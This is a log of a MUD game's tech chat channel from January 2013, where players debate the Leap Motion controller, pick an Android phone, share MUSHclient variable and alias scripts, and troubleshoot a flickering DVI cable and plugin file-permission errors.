T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: It's not cameras like Kinect, you don't have to stand back 15ft for it to work.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: Aliens grabs some popcorn and sits back to watch the show.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: they've been hyping it up for close to a year now
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: I question the distinction of no cameras...
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Hanslanda Tech: camaras are involved.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: It creates 8 cubic feet of space you can interact with, it's super accurate, they showed a demonstration where it can detect movements in mm
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: it's doing the same thing, the details don't change that...it's pretending to be touchscreen, just without touching or the accuracy that comes with touching
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Hanslanda Tech: motionsense doesn't at all work without being able to see the user.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}The River Styx Tech: did you buy stock in this damn thing or something? why you have such a big boner for something thats already been done?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: Have you watched the videos? It's a hell of a lot more accurate than kinect, and a whole lot cheaper too.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: I just see a lot of potential in it.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: the problem with detecting millimeter movements in 3d is that you cannot then tell when you're 'touching the paper' vs 'getting to where you want to be on the paper'...
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: real-world use is pretty limited
T3/r7/2013-01-20.txt.gz:{chan ch=tech}The River Styx Tech: I see a lot of potential in streak free underwear too but I don't preach about it.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Hanslanda Tech: that said, it doesn't have to be an optical-light camara.  Could be infrared or x-ray scanner.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: haha.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Ranrr Tech: It's the latest thing, everybody is doing it. 
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Aliens Tech: this discussion reminds me of the segway
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Ranrr Tech: Maybe for gaming it could be useful, but they want to extend it to e.g. office work.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Hanslanda Tech: and how they predicted everyone would have one?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: heh, and there's another thing that was supposed to revolutionize, but is extremely niche
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Aliens Tech: and the hype
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Ranrr Tech: I want a segway, it's just too expensive. And walking is good for you.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: Just how accurately it can map things in a 3d space is what got me.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Hanslanda Tech: nothing new there.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: They could easily impliment a way to put your face on a character in a game, if you wanted to.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Ranrr Tech: I'd like the eye controller from tobii, if anything.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: At a $70 pricepoint that's pretty impressive.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Aliens Tech: lol noodlez bought-into the hype... advertising wins again
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Ranrr Tech: Got a URL to it?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: It may not be all new, but it's going to be way more accessable.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: Sec
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: leapmotion.com :P
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Quadrapus Tech: the problem with this technology is usually the speed... i have a friend at MIT working on something very similar
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: they've been hyping it for presales for 9 months now...
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Hanslanda Tech: they already have that, too, Noodlez.  You don't really hear about it because the game industry took a big hit and made some bad bets in the meantime.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Aliens Tech: i remember the segway was hyped for over a year before anyone even knew what it was
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Hanslanda Tech: on the horizon, I think, is photo-rendering for avatars.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: You can go to leapmotion.com and there's a video on the top that shows it off pretty well.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}The River Styx Tech: they do that already
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Hanslanda Tech: can not only put your own picture in, but it'll move according to the actions you take.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Hanslanda Tech: quite simply it's "you in a video game"
T3/r7/2013-01-20.txt.gz:{chan ch=tech}The River Styx Tech: they do that too
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Ranrr Tech: Maybe you could implement the "kung fu typewriter" with something like this.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: I'm not saying it's all new, or it's gonna change everything, I just see a lot of potential in it and think it's gonna be cool, I'll leave it at that.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Hanslanda Tech: Styx, what games do they do that in?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Ranrr Tech: I want a functioning brain-computer interface. Then you could be interacting 24/7 :D
T3/r7/2013-01-20.txt.gz:{chan ch=tech}The River Styx Tech: theres a bunch of games that allow you to move the avatar as yourself
T3/r7/2013-01-20.txt.gz:{chan ch=tech}The River Styx Tech: and theres been one or 2 games that have done photorendering of your face over the avatar
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: Well not only will it do a photo rendering, it can map the shape, too.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Hanslanda Tech: "the avatar", though.  It's not actually drawn in your image, and they certainly aren't doing limbs and torso yet.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}The River Styx Tech: think one of the battlefields did it on xbox? Some shooter, not really sure which one.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Aliens Tech: now imagine the goverment with "a functioning brain-computer interface"
T3/r7/2013-01-20.txt.gz:{chan ch=tech}The River Styx Tech: that would suck Han
T3/r7/2013-01-20.txt.gz:{chan ch=tech}The River Styx Tech: why would I want a fat white guy running around killing stuff? he prolly couldnt make it up that pixelated hill
T3/r7/2013-01-20.txt.gz:{chan ch=tech}The River Styx Tech: and forget 3rd person view, I couldnt see around myself!
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Ranrr Tech: I prefer to keep the government out of my computer, no matter how I interact with it, thank you.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Hanslanda Tech: they have one already.  They are still tinkering with it, but it's currently implanted in research monkeys...and that cyborg man who can interface with appliances in his smarthome.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Ranrr Tech: I want a matrix-style interaction, not just concentrate really hard to press a button.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Hanslanda Tech: imagine being able to just think the snooze button into activation, or having your k-cup kick in 3 minutes before you stumble into the kitchen?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Straeldryn Tech: thinking the snooze button into activation would be a disaster for me
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Straeldryn Tech: i'm bad enough having to roll over and press it =D
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Hanslanda Tech: not for long.  Someone will invent a practical bed that's trained to dump you onto the floor if you sleep in too late.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Hanslanda Tech: currently there ARE such trick beds, but they're DIY models and not real practical for mass production.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Ranrr Tech: Seems my phone broke over the weekend. Which phone should I (convince my boss to let me) buy? Any tips? (android)
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: Galaxy seems like a good choice from what I've seen.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Ranrr Tech: S3 then?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: Or note if you want it a bit bigger.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Ranrr Tech: Got an S2 now, it is the goldilocks size for me.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Hanslanda Tech: find out if you qualify for a free upgrade, and if so what the offerings are.  Will be easier to avoid the obvious "no" if your boss happens to be aware of such things.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: Then don't get a note.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: don't need a trick bed, just a simple timer, an electric fence psu and a simple grid of of electric fence tape on top of the matress, I am sure you won't sleep in again.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Ranrr Tech: Free upgrade? Why would they give me a phone for free?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: Contract
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Ranrr Tech: Oic. I doubt it, that's not how contracts work in sweden.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Tech: he means the normal subsidized cost rather than buying outright
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Ranrr Tech: Here, we normally pay for phone and service separately. At least business contracts are like that.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Hanslanda Tech: what about warranties and upgrades?  In the US, you are free to buy your own phone whenever you want, but you also have the option to get a new phone paid for by the provider due to warranty coverage or time spent in the contract.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Ranrr Tech: Maybe so. We have a reseller that handles all that for us, I just tell them want phone I want and they give me the best deal they can fix for me.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Ranrr Tech: So, galaxy S3, any more I should look at?
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Noodlez Tech: That's all I hear hype from.
T3/r7/2013-01-20.txt.gz:{chan ch=tech}Ranrr Tech: kk, thanks!
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aldeas Tech: is there a way to show a custom exit on mapper in mushclient? Like a different color for a room with a cexit
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: different color? no, but you can list the nearby ones
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aldeas Tech: hmm, anyway to set a room a different color?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Leinei Tech: You can change all rooms of a certain terrain (eg. all forest rooms) to a different color, but don't think you can for an individual room
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: not without custom hacking anyway
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aldeas Tech: how do you access a variable from command window in mushclient?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: \\\Note(world.GetVariable("foo"))
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aldeas Tech: how about if I wanted to essentially do a  alias variablename?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: http://www.gammon.com.au/scripts/function.php?name=GetVariable
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aldeas Tech: so it seems I can't do a simple variable from command window ie.  kick @target and it gets expanded to kick expandedvariable?  Maybe I'm just being silly because its late.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vakieh Tech: It can be done - Gammon has a solution somewhere, bu probably easier if I just pastebin the plugin code, 1 sec
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aldeas Tech: I think my biggest limitation is trying to treat mushclient like zmud.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vakieh Tech: http://pastebin.com/yUhPxD98
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vakieh Tech: Save that as Expand_Variables.xml, stick it in your world/plugins folder, add it via Ctrl+Shift+P, and all of a sudden @varname will work in the command bar
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aldeas Tech: Thanks Vakieh
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: \\\Send("kick " .. world.GetVariable("target"))
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vakieh Tech: And if @varname isn't a valid plugin, it gets sent as raw, so you can still use aard colour codes :-P
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vakieh Tech: valid variable name*
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aldeas Tech: man didnt think of that alien
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vakieh Tech: Oh, this will require you to use world.Execute(...)
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vakieh Tech: send skips all plugins and aliases
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: mine seems easier  ;-)
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vakieh Tech: Yours is easier Aliens, but mine is multipurpose
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vakieh Tech: I can use my bag variables by manually typing in the command bar should I choose to
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: personally i wouldnt even use them variables
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aldeas Tech: All of you guys rock thanks
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vakieh Tech: Can also combine aliases on the fly, by incorporating commands as the variable data and typing manually "@varOne @varTwo""
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aldeas Tech: see I've been coming to that realization slowly, its a crutch I guess. 
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: yeah i see a former zmud acolyte
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: Aliens starts to giggle to himself like a little girl.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: im just learn mush scripting myself
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aldeas Tech: heh I've had years of the zMud koolaid
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: one thing zmud has i missed  #20 drop axe
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: that's easily implemented
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: I have one somewhere
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: <alias   match="#* *"   enabled="y"   group="tools"   send_to="12"   sequence="100"  >  <send>for count = 1,%1 do Send("%2") end</send>  </alias>
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: yeah i made one  ;-D
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: and when it's that easy...it's not really a major issue that it's missing
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: ya, it was good intro into mush figuring out how to do that
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: re: mush mapper: does anyone know a way to label a room, so i can do something 'like' mapper goto label, instead of mapper goto 30585
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: closest i've found is adding notes to a room
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vakieh Tech: Anyone else just dc? In Au, dropped mud connection, kept other pages (inc. US pages) and lost www connection to aardwolf.com also...
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: i'm in au and im fine
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vakieh Tech: ISP? Mine is Telstra
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: internode
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Baurus Tech: what is the best client for a blackberry(i know there is no good one:p but what is the best?)
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Taste The Alestorm Tech: BBSSH
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Baurus Tech: ok thank you
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Newmind Tech: please, anyone can help me to the MCCP. i followed the instruction for zmud, but there is no choise indicated by the help
T3/r7/2013-01-21.txt.gz:{chan ch=tech}HelperMan Hadar Tech: is there gmcp info to see spouse name?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: no
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Jedhi Tech: where does mapper store portal and cexit information? can find them in aardwold.db file
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Techne Tech: off
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Turie Tech: Talk to Fiendish.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Zetkax Tech: are there any vidblain plugins?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Turie Tech: Get a trivia portal to Sendhia and it will address that.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Hanslanda Tech: why would you need a plugin for vidblain?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}BobTheGreat Tech: ww's mapper extender has a vidblain hack, might want to check that out
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Zetkax Tech: k thanks
T3/r7/2013-01-21.txt.gz:{chan ch=tech}BobTheGreat Tech: it works by running to vidblain and then recalculating the path for rooms in vidblain
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: don't need much of a plugin, just mapper goto <roomname>, wait, then mapper redume
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: mapper resume*
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Zetkax Tech: ill try that abelinc
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Zetkax Tech: mapper goto 33321 gives There was 1 match which I could not find a path to within 300 rooms: - do i have to teach the mapper how to rt vidblain first?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mokg Tech: you should get an imperial nation portal
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Turie Tech: Sendhia trivia portals are nice.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: anyone ever owned a bad DVI cable that makes your monitor flicker, and the flicker goes away if you log off and on again?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tigernuts Tech: doesn't sound like a cable problem
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Ontuct Tech: you sure it is a cable?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: makes sense. what could it be
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: not sure
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tigernuts Tech: video card, video card driver
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: maybe hardware in the monitor starting to go too
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: i see. it only happens to one particular cable though
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tigernuts Tech: then replace the cable problem solved :-)
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: it's $30. no refund :(
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tigernuts Tech: bad cables can certainly cause flicker
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Daloran Tech: if you're paying $30 for a DVI cable, that sucks
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tigernuts Tech: that's pretty expensive for a dvi cable
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: yeah. i'm a sucker
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vost Tech: $30 for a DVI cable?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: Vost sighs.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: a long one
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Daloran Tech: Oh, like, 100 foot
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Hanslanda Tech: probably bought in-store or something.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tigernuts Tech: a long one including p&p i could believe
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Ontuct Tech: to the neighbors?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: Heisenburger :D 
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tigernuts Tech: shouldn't use too long a cable without some kind of relay
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: hmm didnt know that
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tigernuts Tech: think the suggestion is 20m for dvi, 5m for USB
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: is it a shorter cable that the problem doesn't happen with?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: exactly right ^
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: do you still have the long cable coiled up?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: it's about 18ft. no coils
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Daloran Tech: i've made long runs with hdmi cables and had no issues.... and to my understanding DVI is electrically identical for the video portion
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: the store i bought from gave me 3 identical dvi cales. all had the same problem
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Daloran Tech: VGA as well, which isnt' exactly the same thing... but 100ft =o
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: they let me try again and again, but no refund :'(
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: where are you getting them from? just so i never buy there
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: toronto. let me look up the name
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Ontuct Tech: 18ft ought to be long enough to hang a cable vendor.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: lol
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: Heisenburger falls down laughing.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: it's inmax computers
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: actually has a website
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Ontuct Tech: how are the rafters in the building .... sturdy enough to hold a man?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: not sure. only women and kids in there
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: the kids laugh at me every time i came back
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: to try a different cable, that is
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i would go there and tell them you want to return all the cables and if they don't take them you are going to start making posts about it online and put up flyers
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: might want to bring the cable in and have them plug it in and show them it flickers
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Daloran Tech: Depending on local laws, they're not obligated to take a return
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Mendaloth Tech: Late to the game here, but you pay by credit card?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: cash only...
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Ontuct Tech: is this run out of the back of a van?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ya but they might decide to take the cable back to prevent bad name
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: yeah I'll take a screenshot of this chat and threaten the store owner tomorrow
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Ontuct Tech: these complete strangers I play an old school text game with told me to return this cable... or hang you with it.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: sounds about right :)
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i would bring the cable in and have them hook it up first to show them it doesn't work right
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: then tell them they can either refund you the money or you can start telling everyone you know that they sell defective items
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: hmmm...sounds like a plan
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: they also have a website you can add a horrible review to
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: yeah? :D
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: oh i see what you mean
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tigernuts Tech: just ask for a credit note and grab it elsewhere
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: i'll try all your ideas tomorrow
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: emote thanks everyone for chipping in
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: fail
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Tech: Heisenburger thanks everyone for chipping in
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Heisenburger Tech: there
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ok so i have a used monitor that when power is turned on will show everything for about a second and then it turns off. if i look really close i can see the menu for a second but is is almost impossible to see. question is, is it a capacitor or an inverter that is messed up?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Noodlez Tech: Sounds like a bad ballast failing to keep the backlight on, I have a monitor with the same problem.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Noodlez Tech: If I turned it off and on enough times eventually it would stay on.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ahh ok ya that actually sounds like a more reasonable solution. did it make a strange noise. like a camera flash powering on for a split second
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Noodlez Tech: Nah, mine didn't really make a noise, then again I have partial deafness so I may not have heard it.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ya this is probably outside most peoples hearing range anyway
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: thanks :)
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Noodlez Tech: np
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i guess i will just junk it. it has a cool stand but it is a 4:3 aspect lcd so what ever. anyone in MN want it? hp L1950
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Thunderax Tech: been getting these errors with mush: Unable to create the plugin save state file: C:\MUSHclient\worlds\plugins\state\<complicated file name>.xml
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Thunderax Tech: abe suggested it might have something to do with permissions, so i've unchecked read-only and deleted the folder, but it seems to automatically recreate the files as read-only
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: where do you have mush installed?
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Thunderax Tech: in a folder on the desktop
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: hmm well then it's not saving in the right place for one
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Noodlez Tech: The desktop is technically inside your documents.
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Thunderax Tech: oops sorry, i typed that path wrong.... it does give the correct path to the folder
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: it's trying to save to a directory that doesn't exsist
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Thunderax Tech: comes as a popup box, so can't copy and paste from it
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Noodlez Tech: I would install it to the normal path (i.e. program files etc)
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: i wouldn't
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Noodlez Tech: That or directly to the root as you typed it
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: install to \program files\ will cause permission problems in >vista
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: win vista etc don't having programs save crap in program files
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Thunderax Tech: also, funny thing is that this only happened once i copied the directory from another pc i was running it on (both 7 64-bit)
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: err like
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Thunderax Tech: runs fine when i copy it back to the original pc and run it from there
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Thunderax Tech: also from a folder on desktop
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: it may have saved the other users folder name to save in
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: why did you delete the folder after changing permissions? did you try saving it with change/modify permission
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: UAC
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: so unless both pc's have the same user name...
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: try right-click, run as admin
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Thunderax Tech: ahhh....so moving it to say C:\MUSHclient\ might be worth a try? (done that too aliens)
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Aliens Tech: put it in my documents and run from there
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: myself i use a seperate games folder for pre vista games etc...
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Thunderax Tech: vorpes - tried just unchecking readonly first, but it seemed to persist so abe said it wouldnt hurt to delete them and let the plugins recreate the state files
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Leinei Tech: Since you don't need to install anything, running from My Documents is probably easiest
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Thunderax Tech: cool, might try moving the directory - thanks all for the responses :)
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: might have to take ownership of folder and then remove read only
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: i have no problems with mush folder on desktop (not just a shortcut)...
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Santher Tech: and i use win 7
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Leinei Tech: Nods, desktop should be fine, too
T3/r7/2013-01-21.txt.gz:{chan ch=tech}Leinei Tech: But c:\MUSHclient isn't the desktop
